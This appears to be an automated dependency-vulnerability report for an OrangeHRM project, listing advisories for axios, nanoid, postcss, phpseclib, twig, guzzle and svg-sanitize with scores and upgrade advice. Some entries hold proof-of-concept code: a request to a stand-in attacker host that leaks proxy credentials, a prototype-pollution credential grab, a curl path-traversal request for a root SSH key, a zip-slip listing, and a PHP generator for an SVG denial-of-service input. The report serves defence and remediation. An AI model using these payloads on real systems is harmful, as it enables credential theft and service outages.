
- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

- Application server

- Web server
- Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability

References

- GitHub Commit
- GitHub PR
- GitHub Release

HIGH

Uncontrolled Recursion

Package: **axios 1.13.1**

CVSS 8.7	CVE-2026-42039	CWE-674	SNYK-JS-AXIOS-16299923	Exploit: Proof of Concept

Fixed in 0.31.1, 1.15.1

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

HIGH

Server-side Request Forgery (SSRF)

Package: **axios 1.13.1**

CVSS 7	CVE-2026-101898	CWE-918	SNYK-JS-AXIOS-20245060	Exploit: Proof of Concept

Fixed in 1.20.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P`
CVSS 3.1	8.7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N/E:P`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via unsafe merging of user-supplied fetchOptions into the resolved request options object in lib/adapters/fetch.js. An attacker who controls request configuration can supply a fetchOptions object with prototype-polluting keys (e.g. proto or constructor), which are spread directly into the options passed to the Fetch API without sanitization, allowing pollution of Object.prototype and affecting downstream system-level behaviour. The fix replaces the spread with Object.assign(Object.create(null), fetchOptions) to strip inherited properties and enforces an allowlist of safe Fetch API keys.

Note: This is only exploitable when the attacker can influence the fetchOptions configuration passed to axios requests.

Remediation

Upgrade axios to version 1.20.0 or higher.

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

References

- GitHub Commit
- GitHub PR
- Maintainer's Advisory

HIGH

Infinite loop

Package: **nanoid 3.3.7**

CVSS 8.2	CVE-2026-67214	CWE-835	SNYK-JS-NANOID-18506894	Exploit: Not Defined

Fixed in 3.3.16, 5.1.16

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35 → nanoid@3.3.7`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

Affected versions of this package are vulnerable to Infinite loop through the customAlphabet and nanoid functions in nanoid/non-secure. An attacker can hang the calling thread by supplying a negative size to either function, causing the loop counter to decrement from a negative value and never reach its termination condition. This affects applications that pass unvalidated attacker-controlled size values into the non-secure ID generator, where a single malicious request can spin the process indefinitely and stop the service from responding.

Notes

- The vulnerable code path is in the nanoid/non-secure entry point, so bundles or consumers that import the non-secure module directly are the ones exposed; the secure/default package path is a separate export.
- The denial-of-service only shows up when callers pass a negative size into these APIs, which the advisory's regression tests treat as returning an empty string rather than looping.

Remediation

Upgrade nanoid to version 3.3.16, 5.1.16 or higher.

References

- GitHub Commit

References

• GitHub Commit

HIGH

Insertion of Sensitive Information Into Sent Data

Package: **axios 1.13.1**

CVSS 8.7	CVE-2026-44486	CWE-201	SNYK-JS-AXIOS-17172681	Exploit: Proof of Concept

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPSPROXY is unset or excluded by NOPROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

js

process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080';

delete process.env.HTTPSPROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release
- GitHub Release

HIGH

Directory Traversal

Package: **postcss 8.4.35**

CVSS 8.7	CVE-2026-45623	CWE-22	SNYK-JS-POSTCSS-18313036	Exploit: Not Defined

Fixed in 8.5.12

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Directory Traversal via the process function. An attacker can access arbitrary files and obtain the first ~10 bytes of their contents by supplying a crafted sourceMappingURL comment in CSS input, which is parsed and dereferenced without proper validation. This can lead to disclosure of sensitive information, confirmation of file existence, and potential denial of service by targeting large or special files.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa

Note %2e is the URL encoded version of . (dot).

- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file:

2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../root/.ssh/authorizedkeys

Remediation

Upgrade postcss to version 8.5.12 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub Release

HIGH

Improperly Controlled Modification of Dynamically-Determined Object Attributes

Package: **axios 1.13.1**

CVSS 8.3	CVE-2026-42044	CWE-915	SNYK-JS-AXIOS-16299921	Exploit: Proof of Concept

Fixed in 1.15.2

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.3	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N/E:P`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the transformResponse and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited parseReviver, responseType, transitional, env, or formSerializer properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios.

Remediation

Upgrade axios to version 1.15.2 or higher.

References

- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- Maintainer's Advisory

HIGH

Server-side Request Forgery (SSRF)

Package: **axios 1.13.1**

CVSS 7.7	CVE-2026-44492	CWE-918	SNYK-JS-AXIOS-17111062	Exploit: Not Defined

Fixed in 0.32.0, 1.16.0

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N`
CVSS 3.1	8.6	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
CVSS 3.1	8.6	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NOPROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

HIGH

Integer Overflow or Wraparound

Package: **nanoid 3.3.7**

CVSS 8.3	CVE-2026-73086	CWE-190	SNYK-JS-NANOID-18748186	Exploit: Not Defined

Fixed in 3.3.12, 5.1.11

Introduced through `orangehrm-installer@1.0.0 → vue@3.4.19 → @vue/compiler-sfc@3.4.19 → postcss@8.4.35 → nanoid@3.3.7`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.3	High	`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:L`
CVSS 3.1	8.1	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:L`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound through the fillPool logic in index.js and index.cjs. An attacker can make subsequent ID generation deterministic by supplying an oversized size value to nanoid(size), which is coerced into a negative 32-bit integer and corrupts the shared random pool state. After that call, all later IDs produced in the same process lose their randomness and uniqueness, breaking session tokens, CSRF tokens, and other identifiers until the process restarts.
Remediation
Upgrade nanoid to version 3.3.12, 5.1.11 or higher.
References
- GitHub Commit
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

HIGH

Prototype Pollution

Package: **axios 1.13.1**

CVSS 8.3	CVE-2026-44495	CWE-1321, CWE-94	SNYK-JS-AXIOS-17111060	Exploit: Not Defined

Fixed in 0.31.1, 1.15.2

Introduced through `orangehrm-installer@1.0.0 → axios@1.13.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.3	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N`
CVSS 3.1	7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L`
CVSS 3.1	7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L`
CVSS 3.1	7.7	High	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H`

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

```
js
import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};

try {
const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
```

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge

- Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

foreach property of source

if property exists and is an object on both the target and the source

merge(target[property], source[property])

else

target[property] = source[property]

When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the c

References

- GitHub Commit
- GitHub Commit
- Maintainer's Advisory

HIGH

Inefficient Algorithmic Complexity

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 8.7	CVE-2026-121444	CWE-407	SNYK-PHP-ENSHRINEDSVGSANITIZE-22193076	Exploit: Proof of Concept

Fixed in 1.1.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via hasInfiniteLoop() and countUse() in src/ElementReference/Subject.php, which walk the <use> element reference graph by enumerating every root-to-leaf path with no memoization. Because the only guard is a depth cap (useNestingLimit = 15) rather than a bound on total work, an attacker can upload a small layered SVG with up to 15 levels of fanned-out <use> elements, forcing exponential path enumeration (~k^depth paths) that pins PHP workers for hours. A ~12 KB input is sufficient to project tens of hours of CPU consumption for a single sanitize() call.
PoC
Tested: PHP 8.2.34 and 8.3.35, libxml 2.9.14, current master. Confirmed on default settings.

Generator (layered DAG: L layers of k nodes; every node's k <use> children point at the whole next layer; acyclic; depth = L so with L<=15 NestingException never fires):

```
php
function buildSvg(int $L, int $k): string {
$s = '<svg xmlns="http://www.w3.org/2000/svg">';
for ($l=0; $l<$L; $l++) for ($i=0; $i<$k; $i++) {
$s .= '<g id="n'.$l.''.$i.'">';
if ($l < $L-1) for ($j=0; $j<$k; $j++) $s .= '<use href="n'.($l+1).''.$j.'"/>';
$s .= '</g>';
}
return $s.'</svg>';
}
$t0 = microtime(true);
(new enshrined\svgSanitize\Sanitizer())->sanitize(buildSvg(15, 6)); // attacker input
echo microtime(true) - $t0;
```

Measured scaling (wall-clock of a single sanitize() call):

Exponential in depth (k=3): L=10: 0.033s L=11: 0.102s L=12: 0.259s (~x3 per layer)
Exponential in fan-out (L=11): k=2: 0.003s k=3: 0.077s k=4: 1.43s (~(k)^10)
Benign control: 74 KB linear 2000-deep chain (no branching): 0.013s

Depth-limit boundary (k=2) -- proves the attack sits at depth <= 15:

L=13: 0.0096s L=14: 0.0144s L=15: 0.0272s (no exception, parsed OK)
L=16: 0.0006s L=17: 0.0004s (NestingException fires, walk short-circuits -> fast)

Extrapolation to the attack input buildSvg(15, 6):

input size = 11,956 bytes (~12 KB)
anchor k=4,L=11 = 1.346 s over ~1.05e6 paths => ~1.28 us/path
k=6,L=15 => ~7.84e10 paths => ~100,000 s (~28 hours) of CPU for one request.

The attacker tunes (k, L<=15) to any CPU budget: k=4,L=11 already burns ~1.3 s from a 4 KB file, trivially repeated to saturate a worker pool.

Note: Tested on PHP 8.2.34 and 8.3.35 with libxml 2.9.14 on default settings.
Remediation
Upgrade enshrined/svg-sanitize to version 1.1.0 or higher.
References
- GitHub Advisory
- GitHub Commit

References

• GitHub Advisory
• GitHub Commit

HIGH

Deserialization of Untrusted Data

Package: **phpseclib/phpseclib 3.0.37**

CVSS 8.7	CVE-2026-44167	CWE-502	SNYK-PHP-PHPSECLIBPHPSECLIB-16424082	Exploit: Not Defined

Fixed in 1.0.29, 2.0.54, 3.0.52

Introduced through `orangehrm/orangehrm@0.0.0 → phpseclib/phpseclib@3.0.37`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

Overview

phpseclib/phpseclib is a PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the decodeOID function. An attacker can cause excessive resource consumption by providing specially crafted ASN1 files, such as X509 certificates or RSA PKCS8 keys, leading to service disruption.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade phpseclib/phpseclib to version 1.0.29, 2.0.54, 3.0.52 or higher.

References

- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

HIGH

Allocation of Resources Without Limits or Throttling

Package: **twig/twig 3.11.3**

CVSS 8.7	CVE-2026-46627	CWE-770	SNYK-PHP-TWIGTWIG-16776845	Exploit: Not Defined

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.7	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via untrusted Twig template evaluation within the sandbox. An attacker can cause denial of service by supplying crafted templates that consume excessive CPU time, memory, or wall-clock time, as the Twig sandbox restricts access to dangerous functionality but does not enforce resource usage limits.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• Symfony Advisory

HIGH

Improper Removal of Sensitive Information Before Storage or Transfer

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 8.2	CVE-2026-6735 4	CWE-201, CWE-212	SNYK-PHP-GUZZLEHTTPGUZZLE-18306774	Exploit: Not Defined

Fixed in 7.15.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer via the RedirectMiddleware process. An attacker can access sensitive information included in URI fragments by controlling the redirect destination and inspecting the Referer header sent during a same-scheme redirect. This is only exploitable if the allowredirects.referer option is enabled, a request is made to a URI containing a sensitive fragment, and a same-scheme redirect is followed to a less-trusted destination.

Workaround
This vulnerability can be mitigated by disabling automatic Referer generation (it is off by default), explicitly setting the referer option to false in redirect options, disabling automatic redirects and following trusted destinations manually, or removing the fragment from the request URI before sending requests that may redirect.
Remediation
Upgrade guzzlehttp/guzzle to version 7.15.1 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

HIGH

Allocation of Resources Without Limits or Throttling

Package: **enshrined/svg-sanitize 0.22.0**

CVSS 7.1	CVE-2026-107379	CWE-770	SNYK-PHP-ENSHRINEDSVGSANITIZE-21204170	Exploit: Not Defined

Fixed in 1.0.0

Introduced through `orangehrm/orangehrm@0.0.0 → enshrined/svg-sanitize@0.22.0`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7.1	High	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

Overview

enshrined/svg-sanitize is a SVG sanitizer for PHP

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the cleanAttributesOnWhitelist process. An attacker can cause the PHP process to crash by uploading a specially crafted SVG file containing a DTD attribute declaration that triggers repeated removal of the same attribute, resulting in a type confusion and termination of the PHP-FPM worker.

Remediation

Upgrade enshrined/svg-sanitize to version 1.0.0 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Release

HIGH

Missing Encryption of Sensitive Data

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 8.2	CVE-2026-55568	CWE-311	SNYK-PHP-GUZZLEHTTPGUZZLE-17400374	Exploit: Not Defined

Fixed in 7.12.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	8.2	High	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.9	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Missing Encryption of Sensitive Data due to the fallback on insecure plaintext http:// option proxy in cURL handlers. An attacker can gain unauthorized access to sensitive data such as proxy negotiation and proxy credentials by intercepting unencrypted proxy requests.
Remediation
Upgrade guzzlehttp/guzzle to version 7.12.1 or higher.
References
- GitHub Advisory
- GitHub Commit

References

- GitHub Advisory
- GitHub Commit

HIGH

Timing Attack

Package: **phpseclib/phpseclib 3.0.37**

CVSS 7.2	CVE-2026-84308	CWE-208	SNYK-PHP-PHPSECLIBPHPSECLIB-19666129	Exploit: Not Defined

Fixed in 3.0.57, 4.0.1

Introduced through `orangehrm/orangehrm@0.0.0 → phpseclib/phpseclib@3.0.37`

Security information

Version	Score	Severity	Vector
CVSS 4.0	7.2	High	`CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	6.3	Medium	`CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N`

Overview

